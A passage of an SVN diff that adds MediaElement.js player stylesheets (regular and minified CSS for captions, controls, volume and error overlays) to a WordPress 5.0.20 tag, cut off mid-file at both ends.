+    font-size: 10px;
+    line-height: 15px;
+    padding: 4px 0 0;
+}
+
+.mejs-captions-selected,
+.mejs-chapters-selected {
+    color: rgba(33, 248, 248, 1);
+}
+
+.mejs-captions-translations {
+    font-size: 10px;
+    margin: 0 0 5px;
+}
+
+.mejs-captions-layer {
+    bottom: 0;
+    color: #fff;
+    font-size: 16px;
+    left: 0;
+    line-height: 20px;
+    position: absolute;
+    text-align: center;
+}
+
+.mejs-captions-layer a {
+    color: #fff;
+    text-decoration: underline;
+}
+
+.mejs-captions-layer[lang=ar] {
+    font-size: 20px;
+    font-weight: normal;
+}
+
+.mejs-captions-position {
+    bottom: 15px;
+    left: 0;
+    position: absolute;
+    width: 100%;
+}
+
+.mejs-captions-position-hover {
+    bottom: 35px;
+}
+
+.mejs-captions-text,
+.mejs-captions-text * {
+    background: rgba(20, 20, 20, 0.5);
+    box-shadow: 5px 0 0 rgba(20, 20, 20, 0.5), -5px 0 0 rgba(20, 20, 20, 0.5);
+    padding: 0;
+    white-space: pre-wrap;
+}
+
+.mejs-container.mejs-hide-cues video::-webkit-media-text-track-container {
+    display: none;
+}
+
+/* End: Track (Captions and Chapters) */
+
+/* Start: Error */
+.mejs-overlay-error {
+    position: relative;
+}
+.mejs-overlay-error > img {
+    left: 0;
+    position: absolute;
+    top: 0;
+    z-index: -1;
+}
+.mejs-cannotplay,
+.mejs-cannotplay a {
+    color: #fff;
+    font-size: 0.8em;
+}
+
+.mejs-cannotplay {
+    position: relative;
+}
+
+.mejs-cannotplay p,
+.mejs-cannotplay a {
+    display: inline-block;
+    padding: 0 15px;
+    width: 100%;
+}
+/* End: Error */
Index: /tags/5.0.20/src/wp-includes/js/mediaelement/mediaelementplayer-legacy.min.css
===================================================================
--- /tags/5.0.20/src/wp-includes/js/mediaelement/mediaelementplayer-legacy.min.css	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/mediaelement/mediaelementplayer-legacy.min.css	(revision 56912)
@@ -0,0 +1,1 @@
+.mejs-offscreen{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal}.mejs-container{background:#000;font-family:Helvetica,Arial,serif;position:relative;text-align:left;text-indent:0;vertical-align:top}.mejs-container,.mejs-container *{box-sizing:border-box}.mejs-container video::-webkit-media-controls,.mejs-container video::-webkit-media-controls-panel,.mejs-container video::-webkit-media-controls-panel-container,.mejs-container video::-webkit-media-controls-start-playback-button{-webkit-appearance:none;display:none!important}.mejs-fill-container,.mejs-fill-container .mejs-container{height:100%;width:100%}.mejs-fill-container{background:transparent;margin:0 auto;overflow:hidden;position:relative}.mejs-container:focus{outline:none}.mejs-iframe-overlay{height:100%;position:absolute;width:100%}.mejs-embed,.mejs-embed body{background:#000;height:100%;margin:0;overflow:hidden;padding:0;width:100%}.mejs-fullscreen{overflow:hidden!important}.mejs-container-fullscreen{bottom:0;left:0;overflow:hidden;position:fixed;right:0;top:0;z-index:1000}.mejs-container-fullscreen .mejs-mediaelement,.mejs-container-fullscreen video{height:100%!important;width:100%!important}.mejs-background,.mejs-mediaelement{left:0;position:absolute;top:0}.mejs-mediaelement{height:100%;width:100%;z-index:0}.mejs-poster{background-position:50% 50%;background-repeat:no-repeat;background-size:cover;left:0;position:absolute;top:0;z-index:1}:root .mejs-poster-img{display:none}.mejs-poster-img{border:0;padding:0}.mejs-overlay{-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;left:0;position:absolute;top:0}.mejs-layer{z-index:1}.mejs-overlay-play{cursor:pointer}.mejs-overlay-button{background:url(mejs-controls.svg) no-repeat;background-position:0 -39px;height:80px;width:80px}.mejs-overlay:hover>.mejs-overlay-button{background-position:-80px -39px}.mejs-overlay-loading{height:80px;width:80px}.mejs-overlay-loading-bg-img{-webkit-animation:a 1s linear infinite;animation:a 1s linear infinite;background:transparent url(mejs-controls.svg) -160px -40px no-repeat;display:block;height:80px;width:80px;z-index:1}@-webkit-keyframes a{to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}@keyframes a{to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}.mejs-controls{bottom:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;height:40px;left:0;list-style-type:none;margin:0;padding:0 10px;position:absolute;width:100%;z-index:3}.mejs-controls:not([style*="display: none"]){background:rgba(255,0,0,.7);background:-webkit-linear-gradient(transparent,rgba(0,0,0,.35));background:linear-gradient(transparent,rgba(0,0,0,.35))}.mejs-button,.mejs-time,.mejs-time-rail{font-size:10px;height:40px;line-height:10px;margin:0;width:32px}.mejs-button>button{background:transparent url(mejs-controls.svg);border:0;cursor:pointer;display:block;font-size:0;height:20px;line-height:0;margin:10px 6px;overflow:hidden;padding:0;position:absolute;text-decoration:none;width:20px}.mejs-button>button:focus{outline:1px dotted #999}.mejs-container-keyboard-inactive [role=slider],.mejs-container-keyboard-inactive [role=slider]:focus,.mejs-container-keyboard-inactive a,.mejs-container-keyboard-inactive a:focus,.mejs-container-keyboard-inactive button,.mejs-container-keyboard-inactive button:focus{outline:0}.mejs-time{box-sizing:content-box;color:#fff;font-size:11px;font-weight:700;height:24px;overflow:hidden;padding:16px 6px 0;text-align:center;width:auto}.mejs-play>button{background-position:0 0}.mejs-pause>button{background-position:-20px 0}.mejs-replay>button{background-position:-160px 0}.mejs-time-rail{direction:ltr;-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1;height:40px;margin:0 10px;padding-top:10px;position:relative}.mejs-time-buffering,.mejs-time-current,.mejs-time-float,.mejs-time-float-corner,.mejs-time-float-current,.mejs-time-hovered,.mejs-time-loaded,.mejs-time-marker,.mejs-time-total{border-radius:2px;cursor:pointer;display:block;height:10px;position:absolute}.mejs-time-total{background:hsla(0,0%,100%,.3);margin:5px 0 0;width:100%}.mejs-time-buffering{-webkit-animation:b 2s linear infinite;animation:b 2s linear infinite;background:-webkit-linear-gradient(135deg,hsla(0,0%,100%,.4) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.4) 0,hsla(0,0%,100%,.4) 75%,transparent 0,transparent);background:linear-gradient(-45deg,hsla(0,0%,100%,.4) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.4) 0,hsla(0,0%,100%,.4) 75%,transparent 0,transparent);background-size:15px 15px;width:100%}@-webkit-keyframes b{0%{background-position:0 0}to{background-position:30px 0}}@keyframes b{0%{background-position:0 0}to{background-position:30px 0}}.mejs-time-loaded{background:hsla(0,0%,100%,.3)}.mejs-time-current,.mejs-time-handle-content{background:hsla(0,0%,100%,.9)}.mejs-time-hovered{background:hsla(0,0%,100%,.5);z-index:10}.mejs-time-hovered.negative{background:rgba(0,0,0,.2)}.mejs-time-buffering,.mejs-time-current,.mejs-time-hovered,.mejs-time-loaded{left:0;-webkit-transform:scaleX(0);-ms-transform:scaleX(0);transform:scaleX(0);-webkit-transform-origin:0 0;-ms-transform-origin:0 0;transform-origin:0 0;-webkit-transition:all .15s ease-in;transition:all .15s ease-in;width:100%}.mejs-time-buffering{-webkit-transform:scaleX(1);-ms-transform:scaleX(1);transform:scaleX(1)}.mejs-time-hovered{-webkit-transition:height .1s cubic-bezier(.44,0,1,1);transition:height .1s cubic-bezier(.44,0,1,1)}.mejs-time-hovered.no-hover{-webkit-transform:scaleX(0)!important;-ms-transform:scaleX(0)!important;transform:scaleX(0)!important}.mejs-time-handle,.mejs-time-handle-content{border:4px solid transparent;cursor:pointer;left:0;position:absolute;-webkit-transform:translateX(0);-ms-transform:translateX(0);transform:translateX(0);z-index:11}.mejs-time-handle-content{border:4px solid hsla(0,0%,100%,.9);border-radius:50%;height:10px;left:-7px;top:-4px;-webkit-transform:scale(0);-ms-transform:scale(0);transform:scale(0);width:10px}.mejs-time-rail .mejs-time-handle-content:active,.mejs-time-rail .mejs-time-handle-content:focus,.mejs-time-rail:hover .mejs-time-handle-content{-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}.mejs-time-float{background:#eee;border:1px solid #333;bottom:100%;color:#111;display:none;height:17px;margin-bottom:9px;position:absolute;text-align:center;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%);width:36px}.mejs-time-float-current{display:block;left:0;margin:2px;text-align:center;width:30px}.mejs-time-float-corner{border:5px solid #eee;border-color:#eee transparent transparent;border-radius:0;display:block;height:0;left:50%;line-height:0;position:absolute;top:100%;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%);width:0}.mejs-long-video .mejs-time-float{margin-left:-23px;width:64px}.mejs-long-video .mejs-time-float-current{width:60px}.mejs-broadcast{color:#fff;height:10px;position:absolute;top:15px;width:100%}.mejs-fullscreen-button>button{background-position:-80px 0}.mejs-unfullscreen>button{background-position:-100px 0}.mejs-mute>button{background-position:-60px 0}.mejs-unmute>button{background-position:-40px 0}.mejs-volume-button{position:relative}.mejs-volume-button>.mejs-volume-slider{-webkit-backface-visibility:hidden;background:rgba(50,50,50,.7);border-radius:0;bottom:100%;display:none;height:115px;left:50%;margin:0;position:absolute;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%);width:25px;z-index:1}.mejs-volume-button:hover{border-radius:0 0 4px 4px}.mejs-volume-total{background:hsla(0,0%,100%,.5);height:100px;left:50%;margin:0;position:absolute;top:8px;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%);width:2px}.mejs-volume-current{left:0;margin:0;width:100%}.mejs-volume-current,.mejs-volume-handle{background:hsla(0,0%,100%,.9);position:absolute}.mejs-volume-handle{border-radius:1px;cursor:ns-resize;height:6px;left:50%;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%);width:16px}.mejs-horizontal-volume-slider{display:block;height:36px;position:relative;vertical-align:middle;width:56px}.mejs-horizontal-volume-total{background:rgba(50,50,50,.8);height:8px;top:16px;width:50px}.mejs-horizontal-volume-current,.mejs-horizontal-volume-total{border-radius:2px;font-size:1px;left:0;margin:0;padding:0;position:absolute}.mejs-horizontal-volume-current{background:hsla(0,0%,100%,.8);height:100%;top:0;width:100%}.mejs-horizontal-volume-handle{display:none}.mejs-captions-button,.mejs-chapters-button{position:relative}.mejs-captions-button>button{background-position:-140px 0}.mejs-chapters-button>button{background-position:-180px 0}.mejs-captions-button>.mejs-captions-selector,.mejs-chapters-button>.mejs-chapters-selector{background:rgba(50,50,50,.7);border:1px solid transparent;border-radius:0;bottom:100%;margin-right:-43px;overflow:hidden;padding:0;position:absolute;right:50%;visibility:visible;width:86px}.mejs-chapters-button>.mejs-chapters-selector{margin-right:-55px;width:110px}.mejs-captions-selector-list,.mejs-chapters-selector-list{list-style-type:none!important;margin:0;overflow:hidden;padding:0}.mejs-captions-selector-list-item,.mejs-chapters-selector-list-item{color:#fff;cursor:pointer;display:block;list-style-type:none!important;margin:0 0 6px;overflow:hidden;padding:0 10px}.mejs-captions-selector-list-item:hover,.mejs-chapters-selector-list-item:hover{background-color:#c8c8c8!important;background-color:hsla(0,0%,100%,.4)!important}.mejs-captions-selector-input,.mejs-chapters-selector-input{clear:both;float:left;left:-1000px;margin:3px 3px 0 5px;position:absolute}.mejs-captions-selector-label,.mejs-chapters-selector-label{cursor:pointer;float:left;font-size:10px;line-height:15px;padding:4px 0 0}.mejs-captions-selected,.mejs-chapters-selected{color:#21f8f8}.mejs-captions-translations{font-size:10px;margin:0 0 5px}.mejs-captions-layer{bottom:0;color:#fff;font-size:16px;left:0;line-height:20px;position:absolute;text-align:center}.mejs-captions-layer a{color:#fff;text-decoration:underline}.mejs-captions-layer[lang=ar]{font-size:20px;font-weight:400}.mejs-captions-position{bottom:15px;left:0;position:absolute;width:100%}.mejs-captions-position-hover{bottom:35px}.mejs-captions-text,.mejs-captions-text *{background:hsla(0,0%,8%,.5);box-shadow:5px 0 0 hsla(0,0%,8%,.5),-5px 0 0 hsla(0,0%,8%,.5);padding:0;white-space:pre-wrap}.mejs-container.mejs-hide-cues video::-webkit-media-text-track-container{display:none}.mejs-overlay-error{position:relative}.mejs-overlay-error>img{left:0;position:absolute;top:0;z-index:-1}.mejs-cannotplay,.mejs-cannotplay a{color:#fff;font-size:.8em}.mejs-cannotplay{position:relative}.mejs-cannotplay a,.mejs-cannotplay p{display:inline-block;padding:0 15px;width:100%}
Index: /tags/5.0.20/src/wp-includes/js/mediaelement/mediaelementplayer.css
===================================================================
--- /tags/5.0.20/src/wp-includes/js/mediaelement/mediaelementplayer.css	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/mediaelement/mediaelementplayer.css	(revision 56912)
@@ -0,0 +1,772 @@
+/* Accessibility: hide screen reader texts (and prefer "top" for RTL languages).
+Reference: http://blog.rrwd.nl/2015/04/04/the-screen-reader-text-class-why-and-how/ */
+.mejs__offscreen {
+    border: 0;
+    clip: rect( 1px, 1px, 1px, 1px );
+    -webkit-clip-path: inset( 50% );
+            clip-path: inset( 50% );
+    height: 1px;
+    margin: -1px;
+    overflow: hidden;
+    padding: 0;
+    position: absolute;
+    width: 1px;
+    word-wrap: normal;
+}
+
+.mejs__container {
+    background: #000;
+    box-sizing: border-box;
+    font-family: 'Helvetica', Arial, serif;
+    position: relative;
+    text-align: left;
+    text-indent: 0;
+    vertical-align: top;
+}
+
+.mejs__container * {
+    box-sizing: border-box;
+}
+
+/* Hide native play button and control bar from iOS to favor plugin button */
+.mejs__container video::-webkit-media-controls,
+.mejs__container video::-webkit-media-controls-panel,
+.mejs__container video::-webkit-media-controls-panel-container,
+.mejs__container video::-webkit-media-controls-start-playback-button {
+    -webkit-appearance: none;
+    display: none !important;
+}
+
+.mejs__fill-container,
+.mejs__fill-container .mejs__container {
+    height: 100%;
+    width: 100%;
+}
+
+.mejs__fill-container {
+    background: transparent;
+    margin: 0 auto;
+    overflow: hidden;
+    position: relative;
+}
+
+.mejs__container:focus {
+    outline: none;
+}
+
+.mejs__iframe-overlay {
+    height: 100%;
+    position: absolute;
+    width: 100%;
+}
+
+.mejs__embed,
+.mejs__embed body {
+    background: #000;
+    height: 100%;
+    margin: 0;
+    overflow: hidden;
+    padding: 0;
+    width: 100%;
+}
+
+.mejs__fullscreen {
+    overflow: hidden !important;
+}
+
+.mejs__container-fullscreen {
+    bottom: 0;
+    left: 0;
+    overflow: hidden;
+    position: fixed;
+    right: 0;
+    top: 0;
+    z-index: 1000;
+}
+
+.mejs__container-fullscreen .mejs__mediaelement,
+.mejs__container-fullscreen video {
+    height: 100% !important;
+    width: 100% !important;
+}
+
+/* Start: LAYERS */
+.mejs__background {
+    left: 0;
+    position: absolute;
+    top: 0;
+}
+
+.mejs__mediaelement {
+    height: 100%;
+    left: 0;
+    position: absolute;
+    top: 0;
+    width: 100%;
+    z-index: 0;
+}
+
+.mejs__poster {
+    background-position: 50% 50%;
+    background-repeat: no-repeat;
+    background-size: cover;
+    left: 0;
+    position: absolute;
+    top: 0;
+    z-index: 1;
+}
+
+:root .mejs__poster-img {
+    display: none;
+}
+
+.mejs__poster-img {
+    border: 0;
+    padding: 0;
+}
+
+.mejs__overlay {
+    -webkit-box-align: center;
+    -webkit-align-items: center;
+        -ms-flex-align: center;
+            align-items: center;
+    display: -webkit-box;
+    display: -webkit-flex;
+    display: -ms-flexbox;
+    display: flex;
+    -webkit-box-pack: center;
+    -webkit-justify-content: center;
+        -ms-flex-pack: center;
+            justify-content: center;
+    left: 0;
+    position: absolute;
+    top: 0;
+}
+
+.mejs__layer {
+    z-index: 1;
+}
+
+.mejs__overlay-play {
+    cursor: pointer;
+}
+
+.mejs__overlay-button {
+    background: url('mejs-controls.svg') no-repeat;
+    background-position: 0 -39px;
+    height: 80px;
+    width: 80px;
+}
+
+.mejs__overlay:hover > .mejs__overlay-button {
+    background-position: -80px -39px;
+}
+
+.mejs__overlay-loading {
+    height: 80px;
+    width: 80px;
+}
+
+.mejs__overlay-loading-bg-img {
+    -webkit-animation: mejs__loading-spinner 1s linear infinite;
+            animation: mejs__loading-spinner 1s linear infinite;
+    background: transparent url('mejs-controls.svg') -160px -40px no-repeat;
+    display: block;
+    height: 80px;
+    width: 80px;
+    z-index: 1;
+}
+
+@-webkit-keyframes mejs__loading-spinner {
+    100% {
+        -webkit-transform: rotate(360deg);
+                transform: rotate(360deg);
+    }
+}
+
+@keyframes mejs__loading-spinner {
+    100% {
+        -webkit-transform: rotate(360deg);
+                transform: rotate(360deg);
+    }
+}
+
+/* End: LAYERS */
+
+/* Start: CONTROL BAR */
+.mejs__controls {
+    bottom: 0;
+    display: -webkit-box;
+    display: -webkit-flex;
+    display: -ms-flexbox;
+    display: flex;
+    height: 40px;
+    left: 0;
+    list-style-type: none;
+    margin: 0;
+    padding: 0 10px;
+    position: absolute;
+    width: 100%;
+    z-index: 3;
+}
+
+.mejs__controls:not([style*='display: none']) {
+    background: rgba(255, 0, 0, 0.7);
+    background: -webkit-linear-gradient(transparent, rgba(0, 0, 0, 0.35));
+    background: linear-gradient(transparent, rgba(0, 0, 0, 0.35));
+}
+
+.mejs__button,
+.mejs__time,
+.mejs__time-rail {
+    font-size: 10px;
+    height: 40px;
+    line-height: 10px;
+    margin: 0;
+    width: 32px;
+}
+
+.mejs__button > button {
+    background: transparent url('mejs-controls.svg');
+    border: 0;
+    cursor: pointer;
+    display: block;
+    font-size: 0;
+    height: 20px;
+    line-height: 0;
+    margin: 10px 6px;
+    overflow: hidden;
+    padding: 0;
+    position: absolute;
+    text-decoration: none;
+    width: 20px;
+}
+
+/* :focus for accessibility */
+.mejs__button > button:focus {
+    outline: dotted 1px #999;
+}
+
+.mejs__container-keyboard-inactive a,
+.mejs__container-keyboard-inactive a:focus,
+.mejs__container-keyboard-inactive button,
+.mejs__container-keyboard-inactive button:focus,
+.mejs__container-keyboard-inactive [role=slider],
+.mejs__container-keyboard-inactive [role=slider]:focus {
+    outline: 0;
+}
+
+/* End: CONTROL BAR */
+
+/* Start: Time (Current / Duration) */
+.mejs__time {
+    box-sizing: content-box;
+    color: #fff;
+    font-size: 11px;
+    font-weight: bold;
+    height: 24px;
+    overflow: hidden;
+    padding: 16px 6px 0;
+    text-align: center;
+    width: auto;
+}
+
+/* End: Time (Current / Duration) */
+
+/* Start: Play/Pause/Stop */
+.mejs__play > button {
+    background-position: 0 0;
+}
+
+.mejs__pause > button {
+    background-position: -20px 0;
+}
+
+.mejs__replay > button {
+    background-position: -160px 0;
+}
+
+/* End: Play/Pause/Stop */
+
+/* Start: Progress Bar */
+.mejs__time-rail {
+    direction: ltr;
+    -webkit-box-flex: 1;
+    -webkit-flex-grow: 1;
+        -ms-flex-positive: 1;
+            flex-grow: 1;
+    height: 40px;
+    margin: 0 10px;
+    padding-top: 10px;
+    position: relative;
+}
+
+.mejs__time-total,
+.mejs__time-buffering,
+.mejs__time-loaded,
+.mejs__time-current,
+.mejs__time-float,
+.mejs__time-hovered,
+.mejs__time-float-current,
+.mejs__time-float-corner,
+.mejs__time-marker {
+    border-radius: 2px;
+    cursor: pointer;
+    display: block;
+    height: 10px;
+    position: absolute;
+}
+
+.mejs__time-total {
+    background: rgba(255, 255, 255, 0.3);
+    margin: 5px 0 0;
+    width: 100%;
+}
+
+.mejs__time-buffering {
+    -webkit-animation: buffering-stripes 2s linear infinite;
+            animation: buffering-stripes 2s linear infinite;
+    background: -webkit-linear-gradient(135deg, rgba(255, 255, 255, 0.4) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.4) 50%, rgba(255, 255, 255, 0.4) 75%, transparent 75%, transparent);
+    background: linear-gradient(-45deg, rgba(255, 255, 255, 0.4) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.4) 50%, rgba(255, 255, 255, 0.4) 75%, transparent 75%, transparent);
+    background-size: 15px 15px;
+    width: 100%;
+}
+
+@-webkit-keyframes buffering-stripes {
+    from {
+        background-position: 0 0;
+    }
+    to {
+        background-position: 30px 0;
+    }
+}
+
+@keyframes buffering-stripes {
+    from {
+        background-position: 0 0;
+    }
+    to {
+        background-position: 30px 0;
+    }
+}
+
+.mejs__time-loaded {
+    background: rgba(255, 255, 255, 0.3);
+}
+
+.mejs__time-current,
+.mejs__time-handle-content {
+    background: rgba(255, 255, 255, 0.9);
+}
+
+.mejs__time-hovered {
+    background: rgba(255, 255, 255, 0.5);
+    z-index: 10;
+}
+
+.mejs__time-hovered.negative {
+    background: rgba(0, 0, 0, 0.2);
+}
+
+.mejs__time-current,
+.mejs__time-buffering,
+.mejs__time-loaded,
+.mejs__time-hovered {
+    left: 0;
+    -webkit-transform: scaleX(0);
+        -ms-transform: scaleX(0);
+            transform: scaleX(0);
+    -webkit-transform-origin: 0 0;
+        -ms-transform-origin: 0 0;
+            transform-origin: 0 0;
+    -webkit-transition: 0.15s ease-in all;
+    transition: 0.15s ease-in all;
+    width: 100%;
+}
+
+.mejs__time-buffering {
+    -webkit-transform: scaleX(1);
+        -ms-transform: scaleX(1);
+            transform: scaleX(1);
+}
+
+.mejs__time-hovered {
+    -webkit-transition: height 0.1s cubic-bezier(0.44, 0, 1, 1);
+    transition: height 0.1s cubic-bezier(0.44, 0, 1, 1);
+}
+
+.mejs__time-hovered.no-hover {
+    -webkit-transform: scaleX(0) !important;
+        -ms-transform: scaleX(0) !important;
+            transform: scaleX(0) !important;
+}
+
+.mejs__time-handle,
+.mejs__time-handle-content {
+    border: 4px solid transparent;
+    cursor: pointer;
+    left: 0;
+    position: absolute;
+    -webkit-transform: translateX(0);
+        -ms-transform: translateX(0);
+            transform: translateX(0);
+    z-index: 11;
+}
+
+.mejs__time-handle-content {
+    border: 4px solid rgba(255, 255, 255, 0.9);
+    border-radius: 50%;
+    height: 10px;
+    left: -7px;
+    top: -4px;
+    -webkit-transform: scale(0);
+        -ms-transform: scale(0);
+            transform: scale(0);
+    width: 10px;
+}
+
+.mejs__time-rail:hover .mejs__time-handle-content,
+.mejs__time-rail .mejs__time-handle-content:focus,
+.mejs__time-rail .mejs__time-handle-content:active {
+    -webkit-transform: scale(1);
+        -ms-transform: scale(1);
+            transform: scale(1);
+}
+
+.mejs__time-float {
+    background: #eee;
+    border: solid 1px #333;
+    bottom: 100%;
+    color: #111;
+    display: none;
+    height: 17px;
+    margin-bottom: 9px;
+    position: absolute;
+    text-align: center;
+    -webkit-transform: translateX(-50%);
+        -ms-transform: translateX(-50%);
+            transform: translateX(-50%);
+    width: 36px;
+}
+
+.mejs__time-float-current {
+    display: block;
+    left: 0;
+    margin: 2px;
+    text-align: center;
+    width: 30px;
+}
+
+.mejs__time-float-corner {
+    border: solid 5px #eee;
+    border-color: #eee transparent transparent;
+    border-radius: 0;
+    display: block;
+    height: 0;
+    left: 50%;
+    line-height: 0;
+    position: absolute;
+    top: 100%;
+    -webkit-transform: translateX(-50%);
+        -ms-transform: translateX(-50%);
+            transform: translateX(-50%);
+    width: 0;
+}
+
+.mejs__long-video .mejs__time-float {
+    margin-left: -23px;
+    width: 64px;
+}
+
+.mejs__long-video .mejs__time-float-current {
+    width: 60px;
+}
+
+.mejs__broadcast {
+    color: #fff;
+    height: 10px;
+    position: absolute;
+    top: 15px;
+    width: 100%;
+}
+
+/* End: Progress Bar */
+
+/* Start: Fullscreen */
+.mejs__fullscreen-button > button {
+    background-position: -80px 0;
+}
+
+.mejs__unfullscreen > button {
+    background-position: -100px 0;
+}
+
+/* End: Fullscreen */
+
+/* Start: Mute/Volume */
+.mejs__mute > button {
+    background-position: -60px 0;
+}
+
+.mejs__unmute > button {
+    background-position: -40px 0;
+}
+
+.mejs__volume-button {
+    position: relative;
+}
+
+.mejs__volume-button > .mejs__volume-slider {
+    -webkit-backface-visibility: hidden;
+    background: rgba(50, 50, 50, 0.7);
+    border-radius: 0;
+    bottom: 100%;
+    display: none;
+    height: 115px;
+    left: 50%;
+    margin: 0;
+    position: absolute;
+    -webkit-transform: translateX(-50%);
+        -ms-transform: translateX(-50%);
+            transform: translateX(-50%);
+    width: 25px;
+    z-index: 1;
+}
+
+.mejs__volume-button:hover {
+    border-radius: 0 0 4px 4px;
+}
+
+.mejs__volume-total {
+    background: rgba(255, 255, 255, 0.5);
+    height: 100px;
+    left: 50%;
+    margin: 0;
+    position: absolute;
+    top: 8px;
+    -webkit-transform: translateX(-50%);
+        -ms-transform: translateX(-50%);
+            transform: translateX(-50%);
+    width: 2px;
+}
+
+.mejs__volume-current {
+    background: rgba(255, 255, 255, 0.9);
+    left: 0;
+    margin: 0;
+    position: absolute;
+    width: 100%;
+}
+
+.mejs__volume-handle {
+    background: rgba(255, 255, 255, 0.9);
+    border-radius: 1px;
+    cursor: ns-resize;
+    height: 6px;
+    left: 50%;
+    position: absolute;
+    -webkit-transform: translateX(-50%);
+        -ms-transform: translateX(-50%);
+            transform: translateX(-50%);
+    width: 16px;
+}
+
+.mejs__horizontal-volume-slider {
+    display: block;
+    height: 36px;
+    position: relative;
+    vertical-align: middle;
+    width: 56px;
+}
+
+.mejs__horizontal-volume-total {
+    background: rgba(50, 50, 50, 0.8);
+    border-radius: 2px;
+    font-size: 1px;
+    height: 8px;
+    left: 0;
+    margin: 0;
+    padding: 0;
+    position: absolute;
+    top: 16px;
+    width: 50px;
+}
+
+.mejs__horizontal-volume-current {
+    background: rgba(255, 255, 255, 0.8);
+    border-radius: 2px;
+    font-size: 1px;
+    height: 100%;
+    left: 0;
+    margin: 0;
+    padding: 0;
+    position: absolute;
+    top: 0;
+    width: 100%;
+}
+
+.mejs__horizontal-volume-handle {
+    display: none;
+}
+
+/* End: Mute/Volume */
+
+/* Start: Track (Captions and Chapters) */
+.mejs__captions-button,
+.mejs__chapters-button {
+    position: relative;
+}
+
+.mejs__captions-button > button {
+    background-position: -140px 0;
+}
+
+.mejs__chapters-button > button {
+    background-position: -180px 0;
+}
+
+.mejs__captions-button > .mejs__captions-selector,
+.mejs__chapters-button > .mejs__chapters-selector {
+    background: rgba(50, 50, 50, 0.7);
+    border: solid 1px transparent;
+    border-radius: 0;
+    bottom: 100%;
+    margin-right: -43px;
+    overflow: hidden;
+    padding: 0;
+    position: absolute;
+    right: 50%;
+    visibility: visible;
+    width: 86px;
+}
+
+.mejs__chapters-button > .mejs__chapters-selector {
+    margin-right: -55px;
+    width: 110px;
+}
+
+.mejs__captions-selector-list,
+.mejs__chapters-selector-list {
+    list-style-type: none !important;
+    margin: 0;
+    overflow: hidden;
+    padding: 0;
+}
+
+.mejs__captions-selector-list-item,
+.mejs__chapters-selector-list-item {
+    color: #fff;
+    cursor: pointer;
+    display: block;
+    list-style-type: none !important;
+    margin: 0 0 6px;
+    overflow: hidden;
+    padding: 0 10px;
+}
+
+.mejs__captions-selector-list-item:hover,
+.mejs__chapters-selector-list-item:hover {
+    background-color: rgb(200, 200, 200) !important;
+    background-color: rgba(255, 255, 255, 0.4) !important;
+}
+
+.mejs__captions-selector-input,
+.mejs__chapters-selector-input {
+    clear: both;
+    float: left;
+    left: -1000px;
+    margin: 3px 3px 0 5px;
+    position: absolute;
+}
+
+.mejs__captions-selector-label,
+.mejs__chapters-selector-label {
+    cursor: pointer;
+    float: left;
+    font-size: 10px;
+    line-height: 15px;
+    padding: 4px 0 0;
+}
+
+.mejs__captions-selected,
+.mejs__chapters-selected {
+    color: rgba(33, 248, 248, 1);
+}
+
+.mejs__captions-translations {
+    font-size: 10px;
+    margin: 0 0 5px;
+}
+
+.mejs__captions-layer {
+    bottom: 0;
+    color: #fff;
+    font-size: 16px;
+    left: 0;
+    line-height: 20px;
+    position: absolute;
+    text-align: center;
+}
+
+.mejs__captions-layer a {
+    color: #fff;
+    text-decoration: underline;
+}
+
+.mejs__captions-layer[lang=ar] {
+    font-size: 20px;
+    font-weight: normal;
+}
+
+.mejs__captions-position {
+    bottom: 15px;
+    left: 0;
+    position: absolute;
+    width: 100%;
+}
+
+.mejs__captions-position-hover {
+    bottom: 35px;
+}
+
+.mejs__captions-text,
+.mejs__captions-text * {
+    background: rgba(20, 20, 20, 0.5);
+    box-shadow: 5px 0 0 rgba(20, 20, 20, 0.5), -5px 0 0 rgba(20, 20, 20, 0.5);
+    padding: 0;
+    white-space: pre-wrap;
+}
+
+.mejs__container.mejs__hide-cues video::-webkit-media-text-track-container {
+    display: none;
+}
+
+/* End: Track (Captions and Chapters) */
+
+/* Start: Error */
+.mejs__overlay-error {
+    position: relative;
+}
+.mejs__overlay-error > img {
+    left: 0;
+    position: absolute;
+    top: 0;
+    z-index: -1;
+}
+.mejs__cannotplay,
+.mejs__cannotplay a {
+    color: #fff;
+    font-size: 0.8em;
+}
+
+.mejs__cannotplay {
+    position: relative;
+}
+
+.mejs__cannotplay p,
+.mejs__cannotplay a {
+    display: inline-block;
+    padding: 0 15px;
+    width: 100%;
+}
+/* End: Error */
Index: /tags/5.0.20/src/wp-includes/js/mediaelement/mediaelementplayer.min.css
===================================================================
--- /tags/5.0.20/src/wp-includes/js/mediaelement/mediaelementplayer.min.css	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/mediaelement/mediaelementplayer.min.css	(revision 56912)
@@ -0,0 +1,1 @@
